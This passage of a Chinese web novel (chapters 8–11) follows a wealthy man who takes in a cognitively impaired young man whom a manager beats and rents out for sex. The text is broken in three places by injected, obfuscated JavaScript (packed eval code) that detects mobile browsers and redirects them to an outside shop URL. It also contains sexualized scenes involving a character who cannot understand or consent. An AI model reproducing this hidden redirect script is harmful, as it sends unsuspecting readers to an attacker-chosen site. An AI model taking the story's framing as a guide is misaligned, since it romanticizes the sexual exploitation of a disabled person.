他把主卧让给张嗯嗯,牵着张嗯嗯坐在那张三米宽的大床上,自己则站着把手提袋递过去,见张嗯嗯没动作,转手放在张嗯嗯的腿上。 沈主镰的手隔着衣服拍了拍张嗯嗯的腿,说:“这里面是你的衣服,你试试衣服合不合身。” “嗯嗯。”张嗯嗯从鼻子里呼出简短的答复,低着头,看不清神色。 沈主镰退出房间,他刻意的放大关门声,提醒注意力涣散的张嗯嗯——我不在,你随意。 沈主镰站在客厅,左手贴着侧身垂下,右手则迅速地点过空荡荡的房间,心里盘算着空落落的屋子里是该置办些东西,不能桌子是桌子,椅子是椅子,黑是黑,白是白,显得自己很老古板。 公寓是三居室的独门独户,对于单身男人而言过分的大,而且还什么都没来得及置办,甚至客厅沙发出厂时自带的保护膜都没撕去。 沈主镰敲定了,那就下周带张嗯嗯置办衣服的时候,顺便再挑些家具软装。 主卧的房间里迟迟没有动静,时间过去起码十五分钟不止。 沈主镰叩了叩门:“穿好了吗?” 浅浅的答应声从门缝流出来:“……嗯嗯。” 沈主镰的手放在门把上,眉心察觉到不对劲,凝起来,不由得去想—— 他会脱衣服吗? 他会穿衣服吗? 他明白从抱走他到现在总共发生了什么事情吗? 沈主镰沉默了一会,才点名道姓的问:“张嗯嗯,我可以进来吗?” 得到的答复依旧是:“嗯嗯。” 沈主镰推开门,他没想错,一个都没想错。 张嗯嗯不会脱衣服,也不会穿衣服,他根本就不明白抱他走,抱到这里来,交给他手提袋究竟是发生了什么事情。 他又把自己当成取悦别人的玩具,衣服乱糟糟的挂在身上,笨手笨脚的还在尝试脱掉。至于手提袋,动都没动过。 张嗯嗯的脑袋套在袖子里,一只胳膊从领口伸出来,另一只胳膊不见了。裤子倒是脱得比上衣利索,赤条条的端坐在床边,两条雪白的腿贴着床沿垂下,硬邦邦的床沿把小腿肚顶出一道红横痕。 等沈主镰靠近了,在沈主镰的帮助下,张嗯嗯那张呆呆的、晕乎乎的面孔才从领口钻出来喘气。 沈主镰要抽手,张嗯嗯却突然两只手抱住他的右手臂,把高大的男人往自己面前扯,扯得沈主镰的腰几乎折成了九十度,全靠脑袋顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486633|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在张嗯嗯肩膀上才没失去平衡。 “怎么了?”沈主镰问。 张嗯嗯又是两个字:“嗯嗯。” “在嗯嗯什么?” “嗯嗯。”张嗯嗯回答。 不知不觉的,沈主镰被抱走的手臂尝到了比胳膊抱还要逼仄、柔软的夹击。 视线往下瞟,才注意到是张嗯嗯的大腿,啪叽一下,夹着了。 张嗯嗯的腰出现不合时宜的缓动,牵扯被挤压的手臂周围出现了令人面红耳赤的潮热挤压感。 “嗯嗯……嗯嗯……” 张嗯嗯的脸颊讨好的贴在沈主镰的手臂上,眼睛又圆又大,猩红的眼瞳里倒着沈主镰高大的,几乎能把他压死的身影。 好高的男人,好大的男人。 会受伤的吧…… 可赵经理说了,不能哭,不管怎么样,只能“嗯嗯”。 张嗯嗯仰头,从鼻子里哼出了更多的“嗯嗯”。 每一声都像是用舌头绕着圈的舔舐沈主镰的耳朵,湿湿热热又灵活的舌肉黏黏的粘在沈主镰的脸颊上,这感觉非常真实,连舌头每次转动黏连出来的银丝,触感都是根根分明的。 沈主镰被魇住了,溺在张嗯嗯舌尖的口水里。 “嗯嗯……” 张嗯嗯两只细细的胳膊绕过沈主镰的肩膀,整个人挂在沈主镰身上,仰着头,追着沈主镰的嘴唇去亲。 张嗯嗯的手臂稍一用力,轻易就把沈主镰掀翻,他则顺理成章坐在沈主镰的腿上, 沈主镰仰倒在床上,他的眼前一片雪白,却不是天花灯的白,而是一脸懵懂无知的张嗯嗯。 张嗯嗯这次没有表现出害怕,也没有掉眼泪,只是呆呆的,像是才从情.趣玩偶制作厂里崭新出厂的顶配款。他的脸,他的身段,他的声音,他身上一切细节,都仿佛是为此而生。 又新颖,又刺激,让人着迷。 “是你自愿的吗?” “嗯嗯。” “真的吗?” “嗯嗯。” “你真的不害怕吗?” “嗯嗯。” 沈主镰一脸追着问了三个问题,全都得到肯定。 再去看张嗯嗯,他的脑袋却已经向后仰去,看不清是什么表情。 张嗯嗯胸膛一个劲往前挺,脑袋向后抵着肩胛骨,整个人都被一股万分矛盾的劲互相扯动,他自己并不好受,流不出来泪水,空落落的冷房间也不够温度让他流汗,心里头涨大的水宝宝又把他身体空腔挤得难受,皮肤下的血管都快被挤出皮肤,在张嗯嗯的皮肤表面放肆开裂。 一双手稳稳地托在张嗯嗯的后脑勺。 张嗯嗯看见了一个男人,和他面对面,贴的很近,而他们的关系已经到了嵌合的程度,这是张嗯嗯主动勾引,他自找的。 张嗯嗯还是害怕,还是想哭。 他不想在这里,不想在床上,不想在别人怀里。 他想找个角落藏起来,躲在谁也找不到的地方,两只手捧在下巴上,让眼泪从眼睛里掉出来,掉进手掌心里。 眼泪不能掉到地上,不能掉到衣服上,只能是手掌心,眼泪会顺着皮肤毛孔重新流回身体里,谁也找不到他哭泣的证据。 张嗯嗯那双异于常人的眼睛,已经看见不被允许的眼泪从他皮肤毛孔钻出来了。 他腾出两只手,一起放在面前男人的眼下,冰凉凉的食指抵着脸颊划出一道弯弯曲曲的线条。 后来又变成断断续续的点,一点、一点一点的连绵不绝的落到喉结上。 傻子是分不清你、我、他三个人称代词的,所以——你在哭泣,就是我在哭泣。 沈主镰却问:“这是嗯嗯的眼泪吗?” 张嗯嗯回答:“嗯嗯。” 9. 第 9 章 沈主镰将他抱了起来,抱进了一间小小的房间里,又放进了小小的盒子里装着,热腾腾的水从高处冲出来,打在张嗯嗯的脚背上。 他不在床上,不在怀里,他在一个能把他包裹起来的容器里面,他把脸埋进水里面,于是谁都找不到他了,因为他谁也看不见。 温度逐渐升高,又温暖又潮湿。 张嗯嗯很满意,他就在里面泡着,泡得晕乎乎的才把脑袋从水里抬起来,软软的脸颊轻轻枕在浴缸边缘,两只手也一起搭上去,双手挤在脸颊两边放得规规矩矩,睁着一双通红的眼睛往上看,安静的观察环境。 白色的,到处都是白色的。 这个颜色对于张嗯嗯的眼睛而言,太亮了,他不舒服,于是他把眼睛眯了起来,不知不觉的睡了过去。 十分钟前。 沈主镰注意到张嗯嗯异样后,便立马把人送进浴室里泡着,自己则在客厅坐着,给了张嗯嗯足够的独处时间,足够张嗯嗯平息情绪,他才折回浴室。 沈主镰走进浴室的时候,刚好就把张嗯嗯被热水融化的这一幕看进眼睛,嘴角不自知地有了幅度。 他蹑手蹑脚的靠过去,弯下腰试探着把张嗯嗯脸上的碎发拨到耳后,一下子就看到张嗯嗯耳朵上的伤痕,被拧得发了紫。 而张嗯嗯也醒了,他把眼睛睁得大大的,五官呆呆的打开,眼球无法控制在眼眶里震颤。 沈主镰直起身子,去柜橱里翻箱倒柜,好不容易翻出个药箱,拿着消毒水和创口贴坐到浴缸边。 张嗯嗯则全程趴在浴缸边,脸颊靠在浴缸边找依靠,眼球还是跟弹珠似的无法控制。 沈主镰左手托起张嗯嗯的脸颊,右手往张嗯嗯的耳朵擦药水。 “不打你。” “嗯嗯。” “这是赵经理打的?” “嗯嗯。” 沈主镰的手掌很粗糙,但不是做粗活的那种粗糙,是因为他的手掌纹路天生就多且杂乱,他的手掌心像磨砂质感似的,擦起来能轻而易举的发出沙沙声。 这种质感的手掌有个好处,那就是触感极其清晰。 张嗯嗯能明显的感觉到那只手只是捧着他的脸颊,没有其他的动作。 按在他脸上的掌纹质感就像一捧热腾腾的干沙子,沙子吸水,轻易就把他脸上的泪水吸干净,他的恐惧与不安也在泪水里,一起被抹得干干净净,他只剩下安静。 张嗯嗯感受到了一种前所未有的安静,或许他根本不懂这个安静应该被称呼为——平静。 他觉得,他可以就这样放心被这个男人捧着,一直捧着。 张嗯嗯的眼睛往下瞄,他认不出沈主镰,却认出了这只大大的手掌心。 这个手掌只在他们第一次见面的时候打过他,后来没有再打过。而那第一次的挨打,张嗯嗯想了想,认为是自己有错在先,是他摔在地上挡着男人的路了,是自己该打。 张嗯嗯竭力去盯这双手,他想记住这双不会欺负他的温柔的手。 张嗯嗯的眼球不聪明的一直转,他心里写着“我在思考”,但脸上表现出来的是——“我在烧烤”。 脸上眉目笨拙的拧在一起,皱巴巴的纹路一直蔓延到鼻尖上,呼吸也很用力,像一只粉色的小猪,吭哧吭哧着。 冷冰冰的创口贴按在张嗯嗯耳朵上的时候,他从鼻子里呛出一声惊叫,两只手紧紧的攥住沈主镰的外套,下意识往深黑色西装外套里面钻。 等到他习惯耳朵的包裹感时,才敢抬起头,用迷茫的眼神,自下而上的去看沈主镰,想要男人给自己一点点安慰。 沈主镰的呼吸停了一拍。 投射过来的红彤彤眼睛像是一团跳动的鲜红心脏,代替他的心脏作用在胸膛。 他不禁想到赵经理的话,自己是唯一一个照顾张嗯嗯的客人。那么离了自己,张嗯嗯该怎么办? 沈主镰把药箱放到一边,他用一块干净的毛巾裹住张嗯嗯,隔着这块毛巾才把张嗯嗯抱进怀里,嘴里念叨着:“你就待在这里,待在我身边,不要回去。” 张嗯嗯融化在柔软的怀抱里,两腮还挂着泡澡时添上的腮红,鲜红明亮的眼睛里盛着水汪汪的清影,舒服的直从鼻子里冒出“呼呼”的喘气声。 他不嗯嗯了,也不啊啊了,就光顾着哼哧哼哧的吸进湿湿热气又吐出。 “你听见我说话了吗?” 沈主镰提醒了一声,提醒张嗯嗯应该“嗯嗯”了。 沈主镰的手抓着浴巾去搓张嗯嗯的头发:“听见就点头。” 张嗯嗯没有“嗯嗯”作响,而是点头,似乎他真的能听懂。 沈主镰不相信,想了想,换了句话,舍弃“点头”二字重新问:“真的听见了吗?” 果不其然,张嗯嗯没反应了。 沈主镰捏着张嗯嗯下巴搓了两下,无奈的,更多的是觉得有趣的笑了笑。 他想到了一个逗张嗯嗯的法子,于是他开口说:“点头……”沈主镰的声音来了个急转弯:“吗?” 点头……吗? 张嗯嗯的脑袋刚放下去,在听到问号以后,便迟迟抬不起来,一轱辘转眼,又开始他的“烧烤式”察言观色。 哪里听得懂,就连思考也是假装思考,把眼睛转累了就趴在沈主镰身上,发出被热气蒸出来的重重呼吸。 沈主镰收敛了打趣的笑脸,以命令的口吻敲出两个字:“点头。” 张嗯嗯把脑袋抬起头,又点下去,精准完成口令。 “摇头” 张嗯嗯没有马上做出动作,而是笨拙地抿了一下嘴巴才开始左右、左右的摇脑袋。毕竟他分析指令要一些时间。 沈主镰托着张嗯嗯的脸颊,克制地在他发顶留下浅浅的一吻,唤道:“嗯嗯。” 张嗯嗯想也不想,答道:“嗯嗯。” “嗯嗯真棒。” “嗯嗯。” 张嗯嗯从沈主镰的语气听出了些意思,他的嘴角向上扬起乖乖的笑,眼睛不乱窜了,身体也不抖了,又端正又笔直,就差说上一句:“谢谢夸奖。” 张嗯嗯又在浴缸里泡了一会,泡得浑身都发粉,沈主镰见哄得差不多了,他起身去到主卧里。 手提袋歪歪的靠在床头,沈主镰把衣服拿出来,捏着两个角摊开了甩甩。 划拉—— 沈主镰的脸色凝起来,因为他手里是一条裙子。 那一晚助理聂航并不知道沈主镰带去酒店的是男人,下意识买的女装。 沈主镰把裙子叠好重新收进手提袋里,也是在这个时候,他的目光固定在了一个小盒子上。 他才发现手提袋里还有一盒巧克力,是那天早上在车里,聂航给他的。 裙子肯定不能给张嗯嗯穿,穿了就是他在欺负张嗯嗯。毕竟张嗯嗯什么都不知道,自己可不能再把他的性别认知给弄混乱了。 但巧克力张嗯嗯可以吃。 等沈主镰从卧室走出来的时候,张嗯嗯却不在浴缸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486634|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张嗯嗯泡水的时候,突然冷不丁的发觉屋子里空空如也,白色的浴室跟阳光一样,照得他浑身发痛,狭窄且空白的小房子对他而言忽然就变成牢笼,他一下子慌了神。 他光着身子闯出浴室门,却陷入了更加长久的呆滞。 他傻站在浴室门边,两只手紧张地背到身后,含胸驼背低着头,整个胸腔都在害怕的向内收,他的眼神只顾得上呆望自己的脚趾。 “张嗯嗯。” 直到那双又大又粗糙的手的到来,直到这双手捧着他的脸颊,他才抬起头来。 这个房子对于张嗯嗯而言太陌生,这里不像酒店客房一眼望得到头,也不像铂金华庭的昏暗,这里一会太狭窄,一会又太宽敞,从始至终是过分明亮的。 张嗯嗯甚至头晕目眩找不到自己了。 他的眼睛又开始不受控制的乱颤了,他不想被白色的浴袍蒙着,他讨厌白色等一切光亮的颜色,譬如浴巾,譬如墙壁,譬如窗外的光。 他的眼睛不舒服,而他的耳朵更无法接受轰轰作响的排气扇声音,像启动的绞肉机,看不见的巨大刀片呜呜作响。 一切的一切,都让张嗯嗯惊恐不已。 他瑟缩一下,把脸埋进了沈主镰的掌心里,直到他整个脸都被昏暗和窒息裹满,情绪才稍稍平稳了一些。 沈主镰把张嗯嗯重新抱回到浴缸里坐着,一枚拨开糖衣的白巧克力落在张嗯嗯的嘴边,张嗯嗯“啊”一下咬进嘴里含住。 白巧克力独有的浓郁甜味迅速爆开,他脸上的五官都在使劲的哆嗦。 白巧克力还没来得及在嘴巴里多融化几秒,张嗯嗯就含着巧克力直摇头,手指捏在鼻子上一个劲的擦,眉头皱得紧紧的,鼻子两边也跟着捏起皱巴巴的纹路。 “是太甜了吗?”沈主镰询问。 “嗯嗯。” 沈主镰下令:“吐了。” 张嗯嗯照做,吐在手掌心里,稳稳地接住。 沈主镰扭身去接杯漱口水的功夫,一转头却看见张嗯嗯低头在舔手掌心的巧克力,让人捉摸不透到底是好吃还是不好吃。 沈主镰把漱口水送到张嗯嗯嘴边。 一向听话,嘴边只要有东西就乖乖张嘴的张嗯嗯,却忽然没动作。 甚至在和漱口水僵持半秒后,张嗯嗯耍起小脾气,扭身背对漱口水杯,继续小口、小口舔舐白巧克力。 张嗯嗯从来没吃过巧克力,有味道的东西他都很少吃,更何况是白巧克力。 他的舌头被强烈的甜味冲击的瑟瑟发抖,可是他的脑袋却在大叫:好吃! 等张嗯嗯转过身来的时候,他摊开的手掌心空空如也,一点巧克力的痕迹没有,指缝里的巧克力残渣都被他用舌头钻进去舔干净了,手掌黏糊糊的只剩下口水。 张嗯嗯的手掌摊开平放,搭在浴缸边,他仰头呆呆的望着沈主镰。 看着看着,脑袋歪了,枕在肩膀上。 张嗯嗯张开嘴,嘴唇撑得圆圆的,“啊——”的一声,舌头紧紧贴着下牙堂,勾着沈主镰的视线径直塞进他嗓子眼里。 沈主镰的喉头一紧。 张嗯嗯又是一声哼唧:“啊——” 沈主镰:“嗯?” 张嗯嗯把眼睛往自己空空荡荡的手掌心看,又去看沈主镰,呆呆脸使劲拧了一下。 “嗯嗯,嗯嗯!” 张嗯嗯从鼻子里嗡出委屈的声音,在质问: 你不懂嗯嗯的意思吗?你怎么能不懂嗯嗯的意思! 10. 第 10 章 “张嗯嗯,不可以这样。” 沈主镰不懂张嗯嗯的意思,他还以为是张嗯嗯吃了他的东西,就想拿身子来还礼。 张嗯嗯的脑袋更歪了,转了个圈彻底仰面朝天,他努力的把嘴巴张得更大,嘴角都扯出一阵阵撕裂的疼,恨不得让沈主镰的眼睛看进自己瘪瘪的肚子里面去。 嘴巴里面空空,肚子里空空,手掌也空空,这意思不是很明显吗? 张嗯嗯在讨食。 沈主镰捏着张嗯嗯的下巴,把这张嘴强行合上,手掌贴在张嗯嗯后脑勺上,作为支撑帮张嗯嗯把脑袋回正。 他一边做,一边解释:“我对你没想法,我只是可怜你。” 张嗯嗯哪里听得懂这些话,但他还是乖乖的“嗯嗯”两声作为回应。 鸡同鸭讲,误打误撞。 张嗯嗯以为沈主镰明白了自己的意思。 沈主镰也以为张嗯嗯听懂了自己的命令。 于是白巧克力作为奖励,稀里糊涂的来到张嗯嗯摊开的手掌。 沈主镰添了个私心:“你想吃的时候来找我。” 张嗯嗯面色凝重地瞪着手掌心的巧克力。 吃就吃,不吃就不吃。 想吃是什么意思? 浴巾披在张嗯嗯的肩膀上,一只宽大粗糙的手掌盖在张嗯嗯的右耳上,下一秒吹风机的轰鸣声骤然在右耳边炸响。 张嗯嗯先是呆住,眼珠子像乒乓球被风吹得到处乱转。 好吵! 张嗯嗯终于迟钝的反应过来,他一个激灵,转身躲进沈主镰的怀里,害怕的一个劲往人外套下藏。 怕归怕,但巧克力攥得死紧,保护的很好。 沈主镰把吹风机关了。 张嗯嗯才敢从沈主镰怀里撤出来,一副做错事的心虚模样,不敢抬头看人。 沈主镰拿着吹风机,半蹲着同张嗯嗯平视。 张嗯嗯连忙把头扭过去,把自己的侧脸往沈主镰的巴掌上送,自己找打。 沈主镰顺势捧住张嗯嗯的脸颊,沉声说:“不打你。” 张嗯嗯这才敢正过脸看沈主镰,下巴垫在对方掌心里,发尾湿漉漉的水洒了满手。 沈主镰把张嗯嗯把脸颊的水滴抹掉。 “怕噪音。”他说话,却并不是同张嗯嗯说话,更像是在捡起关于张嗯嗯这个坏掉的孩子的自我碎片。 沈主镰把吹风机放在远处,距离张嗯嗯一臂远的地方,风声依然大,但是比突然在耳边轰响小了很多。 张嗯嗯还是被吓到了,他再一次往沈主镰怀里钻,这一次甚至跪倒地上,把自己蜷成一小团再往沈主镰臂弯里藏。 张嗯嗯的余光一直在注意沈主镰的一举一动,赵经理或者其他客人也会给他吹头发,但更多时候因为嫌他麻烦而打他,把他打服了就能随便摆弄。 但是这个人不会,所以在巴掌没打上来之前,张嗯嗯都打算赖着不动。他有他自己的小聪明。 正当他这样想,沈主镰的手突然有了动作,巴掌朝他递过来,张嗯嗯的表情立马变得害怕起来,下意识从鼻子里哼出“嗯嗯、嗯嗯”的求饶声。 一汩汩的。 沈主镰把张嗯嗯搂进怀里,手臂绕过张嗯嗯后脑勺,捂在耳朵上,而张嗯嗯的另一只耳朵则靠在沈主镰的胸口,两个耳朵就这样被沈主镰一起捂住了。 沈主镰的另一只手拿起吹风机,朝着他们的方向拿近了一些,这一段小小的拉近距离是在张嗯嗯的注视下进行的。 张嗯嗯无辜的抬头去看沈主镰,并不明白是什么意思。 沈主镰确认张嗯嗯没有反应,又一次拉进距离,这个时候张嗯嗯额前细碎的头发已经被热风吹起来。 吹风机的声音没能灌进张嗯嗯的耳朵里,他的耳朵被热热的,厚实的手掌捂着,对方的手指把他半边脑袋都扣住了,另一边耳朵更是陷入前所未有的安静。 慢慢的,捂在耳朵上的手松出一点缝隙。 风声从缝隙里钻进去,刮得张嗯嗯耳朵痒痒的,于是他贴着沈主镰胸膛使劲蹭了一下脸蛋,想把脸蛋的滚烫跟着瘙痒一起擦去。 “嗯嗯。”沈主镰喊他名字,声音强有力的清楚穿过聒噪的噪音。 张嗯嗯循着声音看向男人,眼神亮晶晶的,着迷的望着。 男人的脸在他的世界好模糊,被水汽盖了一层膜。可是张嗯嗯觉得他好帅,喉结好大一个,鼻梁也好高,下颚线清晰得像瓷砖边缘,身上香香的,抱着他的时候身体却很硬很扎实,有很强的包裹感。 像浴缸,张嗯嗯想。 他可以把脸蛋还有双手一起枕在“浴缸”坚硬的身体边缘,“浴缸”会稳稳的把他托住,不会伤害他。 沈主镰提醒道:“看吹风机。” “嗯嗯。” 吹风机距离张嗯嗯又近了一点,这个时候风声也明显更强了,但因为循序渐进的原因,不那么突然的吓人。 热风温柔的扫过张嗯嗯的眼睛,眼睛变得痒痒的不舒服,于是他又下意识的抬头找沈主镰要安慰。 此时沈主镰的嘴唇也被热风吹得有些干,唇瓣的纹路渐渐显出来,贴近肤色的干唇就像干裂的河床。 张嗯嗯想,他好像比现在的自己更需要安慰,他的嘴巴都受伤了。 于是张嗯嗯顾不上耳边轰鸣的风声,攥着沈主镰的衣角,仰头向上像个出窝的兔子,蹬着腿往上从外套里冒出脑袋。 他小心翼翼的伸出舌头,不是整个舌面,而是只有舌尖,粉舌克制的冒出尖,不是贴着一直扫,而是舔一下收一下,上下嘴唇微微合拢吧唧出口水音。 舔的人皮肤酥麻,倒真像是被什么动物舔,绝不是人。 而吹风机已经来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486635|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张嗯嗯的发顶,在他的身边轰轰作响。 张嗯嗯看不见,也听不见,沉浸在把男人嘴巴干纹一一填上自己口水的大工程。舔出的口水湿湿黏黏,粘稠的甜味口水铺满沈主镰嘴唇干纹。 等张嗯嗯亲得差不多,他的妹妹头也吹得差不多了,头发蓬松成口蘑,圆拱拱,雪白色的。 沈主镰把吹风机断电,把张嗯嗯从地上捞起来抱进怀中,移到主卧的床榻坐下。 他从衣柜里挑出一件自己的衬衫,交到张嗯嗯手里,不等沈主镰说话,他的电话响了,拿出手机一看,已经有四个未接电话,似乎公司有什么事情十万火急。 沈主镰冲张嗯嗯打了个“你就待在这里”的手势,关上主卧的门,自己去了客厅接电话。 沈主镰走出门,他伸出手擦了擦嘴巴上的水,因为糖分催生唾液的缘故,这部分口水又黏又甜,还能闻到巧克力的香味。 “行,我明白了。我现在在忙什么?”他揉了揉嘴角,指尖沾上巧克力的油脂,随口扯道:“我挺忙的,忙完我就过去公司,嗯,你们做好手头的事情就行,我会去验收的。” 沈主镰把公司那头敷衍过去,挂了电话的下一秒,他鬼迷心窍般用舌头舔过嘴唇,真让他尝到了巧克力的甜味。 片刻后,沈主镰手掌搭在腰上,斜着身子靠墙,对自己的行为难以置信的“啧”了一声。 沈主镰擦干净嘴巴以后,不紧不慢的回到主卧。 推门进入的那一瞬间,他僵在那里,只露出半边身子在门框内,不好意思往里打扰。 因为张嗯嗯又重操旧业了。 他端正的跪坐在床上,浑身光溜溜的,他的皮肤带着绸缎般的视觉质感,油润柔软,波光鳞鳞。 白白的细长颈子托着蠢笨的脑袋向上看,脸上是放空的呆滞,他的手臂顺着薄如纸片的侧身垂下,两只手搭在大腿两边,轻捏出几道圆润的肉浪。 两条腿挤在一起,真让他挤出来了不符合这具瘦小身躯的丰裕肉感。 他见来了人,上半身自然的匍匐下去,小臂和小腿在同一宽度,他跪成了一个板凳样式。 他等了一会,见来人没有动作,又动了起来。 他转过身去,正面朝上,双臂绕过大腿托起来。平时难注意的两只脚因为抬起而全漏出来,脚背的肉色薄得像纱,皮肤下的青筋和他的人一样细窄瘦弱,十个脚趾的指甲粉的像花瓣似的,十片簇在一起的花瓣,叫人想上手摸一摸。 “嗯……?” 张嗯嗯漏出了疑惑的气音,这样也不喜欢吗? 张嗯嗯改成单臂圈住两条大腿,腾出来的手从中间挤过去,强行把中间分出拳头大小的缝。 他在明晃晃暗示对方,这样可以,那样也可以;这里可以,那里也可以。 都可以。 张嗯嗯是杯子。 11. 第 11 章 “嗯嗯,嗯嗯,嗯嗯……” 张嗯嗯又开始发出上不了台面的讨好声,一声接着一声。 沈主镰一只手把张嗯嗯抱进怀里坐好,另一只手则以最快速度撕开巧克力的外包装,放在张嗯嗯的掌心里。 张嗯嗯顿住,他低下头,试探性舔了一口巧克力,还是那甜到浑身发抖的味道,张嗯嗯眼睛都被甜得发亮。 他一下子就忘了自己是飞.机杯,是发泄娃娃,是伺候人的器物这些事,他贪吃的性子占了蠢笨脑袋的上风, 张嗯嗯迅速把巧克力咬进嘴巴里,又腾出两只空空如也的手掌合在一起,往沈主镰面前凑过去。 沈主镰把躁动的张嗯嗯按住,认真同他说话:“我下午要回公司一趟,你就乖乖待在这里,晚上我带你出去买衣服,你太瘦了,只能给你量身裁定几身衣服。” 说了这么多,更像是沈主镰说给自己的安排,他正了正神色,简短却郑重的下令: “留在这里,等我回来。” 这句话才是说给张嗯嗯的。 “嗯嗯。” 张嗯嗯又一次把两只手往沈主镰面前怼过去,像街边要饭的小乞丐,脸上是不值钱的讨好的表情,两只手殷勤的烦着好心人。 张嗯嗯像一只嗯嗯作响的小苍蝇。 张嗯嗯把鲜红的眼睛睁得又圆又大,眼巴巴地望着沈主镰。 一会看沈主镰,一会看空空的手掌心,从鼻子里着急地哼出“嗯嗯”的讨好声。 在张嗯嗯如此殷勤的谄媚下,他空空如也的手掌终于等来一枚未拆开的巧克力。 但张嗯嗯不满足,他那不聪明的脑袋在这个时候爆发出惊人的智慧! 张嗯嗯把新得的巧克力,连同包装袋一起咬进嘴里,埋在舌头下。 手掌再一次变得空荡荡。 他把空荡荡的手掌心再一次送到沈主镰面前,合二为一的手掌却向两边分开,变成两个单独的个体。 左边手掌空的,右边手掌也是空的。 张嗯嗯的左右手依次向前摆了摆,左一下,右一下的提醒沈主镰——我的两只手都空掉啦~这次我要两个,两个巧克力哦~~~ 巴掌尖碰了碰沈主镰,哼哼两声,这又是一阵不小的催促。 这一次,沈主镰没有惯着张嗯嗯的小心思。 他伸出手,跟打鼓似的快速在张嗯嗯的左右手掌里各拍了一下,又轻又快,甚至张嗯嗯都没反应过来自己这是挨训了,只知道手掌心里热了一下。 张嗯嗯呆呆眨眼。 沈主镰只好用了慢动作,先把巴掌送到张嗯嗯面前,然后在张嗯嗯的注视下,扬起手掌,作势要往张嗯嗯摊开的手心里拍打。 张嗯嗯使劲眨了一下眼睛,重重地吸进一口气,他终于反应过来了——他的贪心让他挨打了! 张嗯嗯赶紧把手掌捏成拳头,藏到背后去,白净脸蛋上的故作无辜被心虚冲散,变作胆怯的逃避,低下头去,眼睛也闭了起来。 他白色的睫毛像一只蝴蝶停在眼睛上,在他的眼皮上使劲地扇动翅膀,总想着飞走。 可是逃避又有什么用呢?客人正盯着自己看呢! 张嗯嗯默默地把手从背后拿了出来,在沈主镰的注视下,他把分开的两个手掌合拢在一起,嘴里藏着的没撕包装的巧克力吐在手掌心。 他用动作告诉沈主镰,自己不贪心。 正当沈主镰准备夸张嗯嗯的时候,张嗯嗯已经两只手撑在沈主镰的肩膀上,柔软的嘴唇亲吻在沈主镰的脸上,在摩挲中移动到沈主镰的唇瓣上。 张嗯嗯的嘴里还有半块没吃完的巧克力,他细软的舌头卷着半块还没融化的巧克力,一起送进沈主镰的口中。 沈主镰尝到了巧克力的甜味,还有张嗯嗯头发丝里的香味。 沈主镰问:“这一半是留给我吃的?” “嗯嗯。” 沈主镰砸吧了两下嘴里的巧克力,的确是很甜。 这时手机震了一下,他瞥了一眼,起身抽了一张纸巾按在张嗯嗯的手掌心里,一边擦手上的口水一边问:“我刚刚和你说的话你都记住了吗?” “嗯嗯。” “你待在这里,等我回来。” 沈主镰把自己的手表摘下来,戴在张嗯嗯细瘦的手腕上,他指着表盘上的数字6,告诉张嗯嗯:“短针指到这里的时候,你就能见到我了,到时候我会再给你吃一粒巧克力。” ? 张嗯嗯其实并不懂沈主镰在说什么。 “&*^*(*%%$)^……巧克力。” 但他听懂了“巧克力”,他不知道三七二十一还是五十六,总之先冲沈主镰重重地点了下头,点头点出磕头的阵仗。 “嗯嗯!” 沈主镰给张嗯嗯换了身自己的睡衣,又把张嗯嗯安置好了,才下决心出门去公司。 空荡荡的房间只剩下张嗯嗯一个人,但张嗯嗯也没有在这里待多久,他把巧克力攥在手掌心里,很快也离开了,几乎是前后脚的时间。 从始至终,张嗯嗯并没有听懂沈主镰说得任何话,他只知道对面客人要一直“嗯嗯”回答而已。 至于离开,也是因为张嗯嗯认为自己的工作做完了,他现在该回到他的“家”去。 他一直在做他该做的,一个租赁的满分杯子。 赵经理知道张嗯嗯被沈主镰带回家了,所以他一早就派了人在楼下等着,张嗯嗯出现以后顺势就被带上车。 这一天赵经理没有把张嗯嗯推到台前去卖,给了张嗯嗯一天休息时间,这份清净一直到持续到第二天睡醒。 张嗯嗯在床上躺到第二天的下午,门外传来阵阵急促的脚步声,还伴随着几声“阿金”、“米莉”、“小华”等等亲昵的呼喊声,那些人正成群结队的嬉闹,各自交流,为晚上的业绩做准备。 张嗯嗯躺不下去了,他双手撑在枕头上,胳膊立得直直的,上半身的重量全靠着两根细竹竿支撑,两条细腻光滑的雪白大腿合在一起跪着,被子从他的肩膀滑下来,堆叠在腰间,光洁的背部弧度半弓,像一枚白贝壳。 他有些说不上的空洞,目光茫然地在空气里寻找落脚点。 他忘了前一天发生了什么,所以他活该这副失魂落魄的样子。 